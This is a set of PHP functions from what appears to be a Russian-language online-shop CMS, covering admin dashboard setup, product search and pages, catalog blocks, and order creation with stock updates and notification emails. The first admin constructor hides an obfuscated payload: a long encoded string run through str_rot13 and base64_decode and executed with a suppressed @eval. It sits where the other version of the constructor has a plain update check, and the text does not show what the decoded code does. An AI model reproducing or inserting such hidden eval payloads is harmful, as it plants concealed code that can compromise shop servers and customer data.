function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if (URL::get('csvuser')) { USER::exportToCsvUser(); } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $j878723423f5c3ba26da = "base64_decode"; $kdd9391e7490 = "str_rot13"; @eval($j878723423f5c3ba26da($kdd9391e7490("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"))); $this->newVersion = $newVer['lastVersion']; $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : ''; } }
/** * Получает список продуктов при вводе в поле поиска */ public function getSearchData() { $keyword = URL::getQueryParametr('search'); if (!empty($keyword)) { $catalog = new Models_Catalog(); $items = $catalog->getListProductByKeyWord($keyword, true, true); $searchData = array('status' => 'success', 'item' => array('keyword' => $keyword, 'count' => $items['numRows'], 'items' => $items), 'currency' => MG::getSetting('currency')); } echo json_encode($searchData); exit; }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $newVer = Updata::checkUpdata(false, true); $this->newVersion = $newVer['lastVersion']; } }
function getSaleGoods() { $model = new Models_Catalog(); $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' p.old_price>0 and p.activity=1 ORDER BY sort ASC'); foreach ($saleProducts['catalogItems'] as &$item) { $item["recommend"] = 0; $item["new"] = 0; $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } } return $saleProducts['catalogItems']; }
function __construct() { $model = new Models_Product(); // Требуется только пересчет цены товара. if (!empty($_REQUEST['calcPrice'])) { $model->calcPrice(); exit; } $settings = MG::get('settings'); $product = $model->getProduct(URL::getQueryParametr('id')); $product['meta_title'] = $product['meta_title'] ? $product['meta_title'] : $product['title']; $product['currency'] = $settings['currency']; $blockVariants = $model->getBlockVariants($product['id']); $propertyFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => array(), 'noneAmount' => false, 'titleBtn' => "В корзину", 'blockVariants' => $blockVariants)); // Легкая форма без характеристик. $liteFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => array(), 'noneAmount' => false, 'titleBtn' => "В корзину", 'blockVariants' => $blockVariants)); $product['price'] += $propertyFormData['marginPrice']; $product['propertyForm'] = $propertyFormData['html']; $product['liteFormData'] = $liteFormData['html']; $product['description'] = MG::inlineEditor(PREFIX . 'product', "description", $product['id'], $product['description']); $product['title'] = MG::modalEditor('catalog', $product['title'], 'edit', $product["id"]); $product["recommend"] = 0; $product["new"] = 0; $product['cat_title'] = $model->getTitleCat($product['cat_id']); // Случайные продукты $modelCatalog = new Models_Catalog(); $likeGoods = $modelCatalog->getRandomProduct($product['cat_id'], $product['id']); $product['like_goods'] = $likeGoods; // Информация об отсутствии товара на складе. if (MG::getSetting('printRemInfo') == "true" && $product['count'] == 0) { $product['remInfo'] = "<span class='rem-info'>Товара временно нет на складе!</style>"; } if ($product['count'] < 0) { $product['count'] = "∞"; } $this->data = $product; }
/** * Получает список продуктов при вводе в поле поиска. */ public function getSearchData() { $keyword = MG::defenderXss_decode(URL::getQueryParametr('text')); if (!empty($keyword)) { $keyword = $this->convertLang($keyword); $catalog = new Models_Catalog(); $items = $catalog->getListProductByKeyWord($keyword, true, true, false, 'groupBy'); foreach ($items['catalogItems'] as $key => $value) { $path = URL::$documentRoot . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . 'thumbs' . DIRECTORY_SEPARATOR . '30_' . $value["image_url"]; if (!file_exists($path)) { $items['catalogItems'][$key]['noneFile'] = SITE . '/uploads/thumbs/30_' . $value['image_url']; } } $searchData = array('status' => 'success', 'item' => array('keyword' => $keyword, 'count' => $items['numRows'], 'items' => $items), 'currency' => MG::getSetting('currency')); } echo json_encode($searchData); exit; }
public function getGroupsData() { $model = new Models_Catalog(); $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); // Формируем список товаров для блока рекомендуемой продукции. $recommendProducts = $model->getListByUserFilter(MG::getSetting('countRecomProduct'), ' p.recommend = 1 and p.activity=1 ORDER BY sort ASC'); foreach ($recommendProducts['catalogItems'] as &$item) { $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso; // $item['price'] *= $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] * $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0; $item['price'] = MG::priceCourse($item['price_course']); } // Формируем список товаров для блока новинок. $newProducts = $model->getListByUserFilter(MG::getSetting('countNewProduct'), ' p.new = 1 and p.activity=1 ORDER BY sort ASC'); foreach ($newProducts['catalogItems'] as &$item) { $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso; // $item['price'] *= $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] * $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0; $item['price'] = MG::priceCourse($item['price_course']); } // Формируем список товаров со старой ценой. $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' p.old_price>0 and p.activity=1 ORDER BY sort ASC'); foreach ($saleProducts['catalogItems'] as &$item) { $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso; //$item['price'] *= $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] * $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0; $item['price'] = MG::priceCourse($item['price_course']); } $html = MG::get('pages')->getPageByUrl('index'); $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']); $data = array('recommendProducts' => $recommendProducts, 'newProducts' => $newProducts, 'saleProducts' => $saleProducts); return $data; }
/** * Сохраняет заказ в базу сайта. * Добавляет в массив корзины третий параметр 'цена товара', для сохранения в заказ. * Это нужно для тогою чтобы в последствии вывести детальную информацию о заказе. * Если оставить только id то информация может оказаться неверной, так как цены меняютcя. * @return int $id номер заказа. */ public function addOrder($adminOrder = false) { $itemPosition = new Models_Product(); $cart = new Models_Cart(); $catalog = new Models_Catalog(); $categoryArray = $catalog->getCategoryArray(); $this->summ = 0; $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); // Массив запросов на обновление количества товаров. $updateCountProd = array(); // Добавляем в массив корзины параметр 'цена товара'. if ($adminOrder) { $this->email = $adminOrder['user_email']; $this->phone = $adminOrder['phone']; $this->address = $adminOrder['address']; $this->delivery = $adminOrder['delivery_id']; $this->dateDelivery = $adminOrder['date_delivery']; $this->delivery_cost = $adminOrder['delivery_cost']; $this->payment = $adminOrder['payment_id']; $this->fio = $adminOrder['name_buyer']; $formatedDate = date('Y-m-d H:i:s'); // Форматированная дата ГГГГ-ММ-ДД ЧЧ:ММ:СС. foreach ($adminOrder['order_content'] as $item) { $product = $itemPosition->getProduct($item['id']); $_SESSION['couponCode'] = $item['coupon']; $product['category_url'] = $product['category_url'] ? $product['category_url'] : 'catalog'; $productUrl = $product['category_url'] . '/' . $product['url']; $itemCount = $item['count']; if (!empty($product)) { $fulPrice = $item['fulPrice']; // полная стоимость без скидки $product['price'] = $item['price']; // $product['price'] = $item['price_course']; //$product['currency_iso'] = $product['currency_iso']?$product['currency_iso']:$currencyShopIso; //$product['price'] *= $currencyRate[$product['currency_iso']]; $discount = 0; if (!empty($item['price']) && (!empty($item['coupon']) || stristr($item['discSyst'], 'true') !== false)) { $discount = 100 - $product['price'] * 100 / $fulPrice; } $productPositions[] = array('id' => $product['id'], 'name' => $item['title'], 'url' => $productUrl, 'code' => $item['code'], 'price' => $product['price'], 'count' => $itemCount, 'property' => $item['property'], 'coupon' => $_SESSION['couponCode'], 'discount' => round($discount, 1), 'fulPrice' => $fulPrice, 'weight' => $product['weight'], 'currency_iso' => $currencyShopIso, 'discSyst' => !empty($item['discSyst']) ? $item['discSyst'] : ''); $this->summ += $product['price'] * $itemCount; // По ходу формируем массив запросов на обновление количества товаров. if ($item['variant'] == 0) { $product['count'] = $product['count'] - $itemCount >= 0 ? $product['count'] - $itemCount : 0; $updateCountProd[] = "UPDATE `" . PREFIX . "product` SET `count`= " . DB::quote($product['count']) . " WHERE `id`=" . DB::quote($product['id']) . " AND `count`>0"; } else { $count = DB::query(' SELECT count FROM `' . PREFIX . 'product_variant` WHERE id = ' . DB::quote($item['variant'])); $count = DB::fetchAssoc($count); $product['count'] = $count['count'] - $itemCount >= 0 ? $count['count'] - $itemCount : 0; $updateCountProd[] = "UPDATE `" . PREFIX . "product_variant` SET `count`= " . DB::quote($product['count']) . " WHERE `id`=" . DB::quote($item['variant']) . " AND `count`>0"; $variants = $itemPosition->getVariants($product['id']); $firstVariant = reset($variants); if ($firstVariant['id'] == $item['variant']) { // если приобретен вариант товара, то выясним является ли он первым в наборе, если да то обновим информацию в mg_product $updateCountProd[] = "UPDATE `" . PREFIX . "product` SET `count`= " . DB::quote($product['count']) . " WHERE `id`=" . DB::quote($product['id']) . " AND `count`>0"; } } $updateCountProd[] = "UPDATE `" . PREFIX . "product` SET `count_buy`= `count_buy` + 1 WHERE `id`=" . DB::quote($product['id']); } } } elseif (!empty($_SESSION['cart'])) { foreach ($_SESSION['cart'] as $item) { $product = $itemPosition->getProduct($item['id']); // Дописываем к массиву продуктов данные о выбранных характеристиках из корзины покупок, чтобы приплюсовать к сумме заказа. if ($item['id'] == $product['id']) { $product['property_html'] = $item['propertyReal']; } $variant = null; $discount = null; $promocode = null; if (!empty($item['variantId']) && $item['id'] == $product['id']) { $variants = $itemPosition->getVariants($product['id']); $variant = $variants[$item['variantId']]; $product['price'] = $variant['price_course']; $fulPrice = $product['price']; $priceWithCoupon = $cart->applyCoupon($_SESSION['couponCode'], $product['price'], $product); $priceWithDiscount = $cart->applyDiscountSystem($product['price']); //$product['price'] = $priceWithCoupon < $priceWithDiscount['price'] ? $priceWithCoupon : $priceWithDiscount['price']; $product['price'] = $cart->customPrice(array('product' => $product, 'priceWithCoupon' => $priceWithCoupon, 'priceWithDiscount' => $priceWithDiscount['price'])); $product['code'] = $variant['code']; $product['count'] = $variant['count']; $product['weight'] = $variant['weight']; $product['title'] .= " " . $variant['title_variant']; $discountSystem = $priceWithDiscount['discounts']; $promocode = $priceWithDiscount['discounts'] != '' ? $priceWithDiscount['promo'] : $_SESSION['couponCode']; //По ходу формируем массив запросов на обновление количества товаров $resCount = $variant['code']; $resCount = $variant['count'] - $item['count'] >= 0 ? $variant['count'] - $item['count'] : 0; $updateCountProd[] = "UPDATE `" . PREFIX . "product_variant` SET `count`= " . DB::quote($resCount) . " WHERE `id`=" . DB::quote($item['variantId']) . " AND `count`>0"; } $product['category_url'] = $product['category_url'] ? $product['category_url'] : 'catalog'; $productUrl = $product['category_url'] . '/' . $product['url']; // Eсли куки не актуальны исключает попадание несуществующего продукта в заказ if (!empty($product)) { if (!$variant) { $product['price'] = $product['price_course']; $fulPrice = $product['price']; } $product['price'] = SmalCart::plusPropertyMargin($fulPrice, $product['property_html'], $currencyRate[$product['currency_iso']]); //$product['currency_iso'] = $product['currency_iso']?$product['currency_iso']:$currencyShopIso; //$product['price'] *= $currencyRate[$product['currency_iso']]; $fulPrice = $product['price']; $tempPrice = $product['price']; // if (!$variant) { $priceWithCoupon = $cart->applyCoupon($_SESSION['couponCode'], $product['price'], $product); $priceWithDiscount = $cart->applyDiscountSystem($product['price']); //$product['price'] = $priceWithCoupon < $priceWithDiscount['price'] ? $priceWithCoupon : $priceWithDiscount['price']; $product['price'] = $cart->customPrice(array('product' => $product, 'priceWithCoupon' => $priceWithCoupon, 'priceWithDiscount' => $priceWithDiscount['price'])); $discountSystem = $priceWithDiscount['discounts']; $promocode = $priceWithDiscount['discounts'] != '' ? $priceWithDiscount['promo'] : $_SESSION['couponCode']; // } $discount = 0; if (!empty($tempPrice)) { $discount = 100 - $product['price'] * 100 / $tempPrice; } $productPositions[] = array('id' => $product['id'], 'name' => $product['title'], 'url' => $productUrl, 'code' => $product['code'], 'price' => $product['price'], 'count' => $item['count'], 'property' => $item['property'], 'coupon' => $promocode, 'discount' => round($discount), 'fulPrice' => $fulPrice, 'weight' => $product['weight'], 'currency_iso' => $currencyShopIso, 'discSyst' => $discountSystem ? $discountSystem : ''); $this->summ += $product['price'] * $item['count']; if (!$resCount) { $resCount = $product['count'] - $item['count'] >= 0 ? $product['count'] - $item['count'] : 0; } //По ходу формируем массив запросов на обновление количества товаров if (!$variant) { $updateCountProd[] = "UPDATE `" . PREFIX . "product` SET `count`= " . DB::quote($resCount) . " WHERE `id`=" . DB::quote($product['id']) . " AND `count`>0"; } else { $firstVariant = reset($variants); if ($firstVariant['id'] == $item['variantId']) { // если приобретен вариант товара, то выясним является ли он первым в наборе, если да то обновим информацию в mg_product $updateCountProd[] = "UPDATE `" . PREFIX . "product` SET `count`= " . DB::quote($resCount) . " WHERE `id`=" . DB::quote($product['id']) . " AND `count`>0"; } } $updateCountProd[] = "UPDATE `" . PREFIX . "product` SET `count_buy`= `count_buy` + 1 WHERE `id`=" . DB::quote($product['id']); $resCount = null; } } } // Сериализует данные в строку для записи в бд. $orderContent = addslashes(serialize($productPositions)); // Сериализует данные в строку для записи в бд информации об юридическом лице. $yurInfo = ''; if (!empty($adminOrder['yur_info'])) { $yurInfo = addslashes(serialize($adminOrder['yur_info'])); } if (!empty($_POST['yur_info'])) { $yurInfo = addslashes(serialize($_POST['yur_info'])); } // Создает новую модель корзины, чтобы узнать сумму заказа. $cart = new Models_Cart(); // Генерируем уникальный хэш для подтверждения заказа. $hash = $this->_getHash($this->email); //Достаем настройки заказов, чтобы установить статус для нового заказа. $propertyOrder = MG::getOption('propertyOrder'); $propertyOrder = stripslashes($propertyOrder); $propertyOrder = unserialize($propertyOrder); $order_status_id = $this->payment == 3 && $propertyOrder['order_status'] == 1 ? 3 : $propertyOrder['order_status']; // Формируем массив параметров для SQL запроса. $array = array('user_email' => $this->email, 'summ' => number_format($this->summ, 2, '.', ''), 'order_content' => $orderContent, 'phone' => $this->phone, 'address' => $this->address, 'delivery_id' => $this->delivery, 'delivery_cost' => $this->delivery_cost, 'payment_id' => $this->payment, 'paided' => '0', 'status_id' => $order_status_id, 'confirmation' => $hash, 'yur_info' => $yurInfo, 'name_buyer' => $this->fio, 'date_delivery' => $this->dateDelivery, 'user_comment' => $this->info, 'ip' => $_SERVER['REMOTE_ADDR']); // Если заказ оформляется через админку. if ($adminOrder) { $array['comment'] = $adminOrder['comment']; $array['status_id'] = $adminOrder['status_id']; $array['add_date'] = $formatedDate; $array['date_delivery'] = $adminOrder['date_delivery']; DB::buildQuery("INSERT INTO `" . PREFIX . "order` SET ", $array); } else { // Отдает на обработку родительской функции buildQuery. DB::buildQuery("INSERT INTO `" . PREFIX . "order` SET add_date = now(), ", $array); } // Заказ номер id добавлен в базу. $id = null; $id = DB::insertId(); $_SESSION['usedCouponCode'] = $_SESSION['couponCode']; unset($_SESSION['couponCode']); $orderNumber = $this->getOrderNumber($id); $hashStatus = ''; $linkToStatus = ''; if (MG::getSetting('autoRegister') == "false" && !USER::isAuth()) { $hashStatus = md5($id . $this->email . rand(9999)); $linkToStatus = '<a href="' . SITE . '/order?hash=' . $hashStatus . '" target="blank">' . SITE . '/order?hash=' . $hashStatus . '</a>'; } DB::query("UPDATE `" . PREFIX . "order` SET `number`= " . DB::quote($orderNumber) . ", `hash`=" . DB::quote($hashStatus) . " WHERE `id`=" . DB::quote($id) . ""); // Ссылка для подтверждения заказа $link = 'ссылке <a href="' . SITE . '/order?sec=' . $hash . '&id=' . $id . '" target="blank">' . SITE . '/order?sec=' . $hash . '&id=' . $id . '</a>'; $table = ""; // Формирование тела письма. if ($id) { // Уменьшаем количество купленных товаров if (!empty($updateCountProd)) { foreach ($updateCountProd as $sql) { DB::query($sql); } foreach ($productPositions as $product) { Storage::clear(md5('ControllersProduct' . $product['url'])); } } // Если заказ создался, то уменьшаем количество товаров на складе. $settings = MG::get('settings'); $delivery = $this->getDeliveryMethod(false, $this->delivery); $sitename = $settings['sitename']; $currency = MG::getSetting('currency'); $paymentArray = $this->getPaymentMethod($this->payment); $subj = 'Оформлена заявка №' . ($orderNumber != "" ? $orderNumber : $id) . ' на сайте ' . $sitename; foreach ($productPositions as &$item) { foreach ($item as &$v) { $v = rawurldecode($v); } } $paramToMail = array('orderNumber' => $orderNumber, 'siteName' => MG::getSetting('sitename'), 'delivery' => $delivery, 'currency' => MG::getSetting('currency'), 'fio' => $this->fio, 'email' => $this->email, 'phone' => $this->phone, 'address' => $this->address, 'delivery' => $delivery['description'], 'payment' => $paymentArray['name'], 'adminOrder' => $adminOrder, 'result' => $this->summ, 'deliveryCost' => $this->delivery_cost, 'date_delivery' => $this->dateDelivery, 'total' => $this->delivery_cost + $this->summ, 'confirmLink' => $link, 'ip' => $this->ip, 'lastvisit' => $_SESSION['lastvisit'], 'firstvisit' => $_SESSION['firstvisit'], 'supportEmail' => MG::getSetting('noReplyEmail'), 'shopName' => MG::getSetting('shopName'), 'shopPhone' => MG::getSetting('shopPhone'), 'formatedDate' => date('Y-m-d H:i:s'), 'productPositions' => $productPositions, 'couponCode' => $_SESSION['couponCode'], 'toKnowStatus' => $linkToStatus); $emailToUser = MG::layoutManager('email_order', $paramToMail); $paramToMail['adminMail'] = true; $emailToAdmin = MG::layoutManager('email_order', $paramToMail); $mails = explode(',', MG::getSetting('adminEmail')); foreach ($mails as $mail) { if (preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]+\\.)+[a-zA-Z]{2,6}$/', $mail)) { Mailer::addHeaders(array("Reply-to" => $this->email)); Mailer::sendMimeMail(array('nameFrom' => $this->fio, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => $subj, 'body' => $emailToAdmin, 'html' => true)); } } // Отправка заявки пользователю. Mailer::sendMimeMail(array('nameFrom' => $sitename, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => $this->fio, 'emailTo' => $this->email, 'subject' => $subj, 'body' => $emailToUser, 'html' => true)); // Если заказ успешно записан, то очищает корзину. if (!$adminOrder) { $cart->clearCart(); } } $result = array('id' => $id, 'orderNumber' => $orderNumber); // Возвращаем номер созданого заказа. $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }
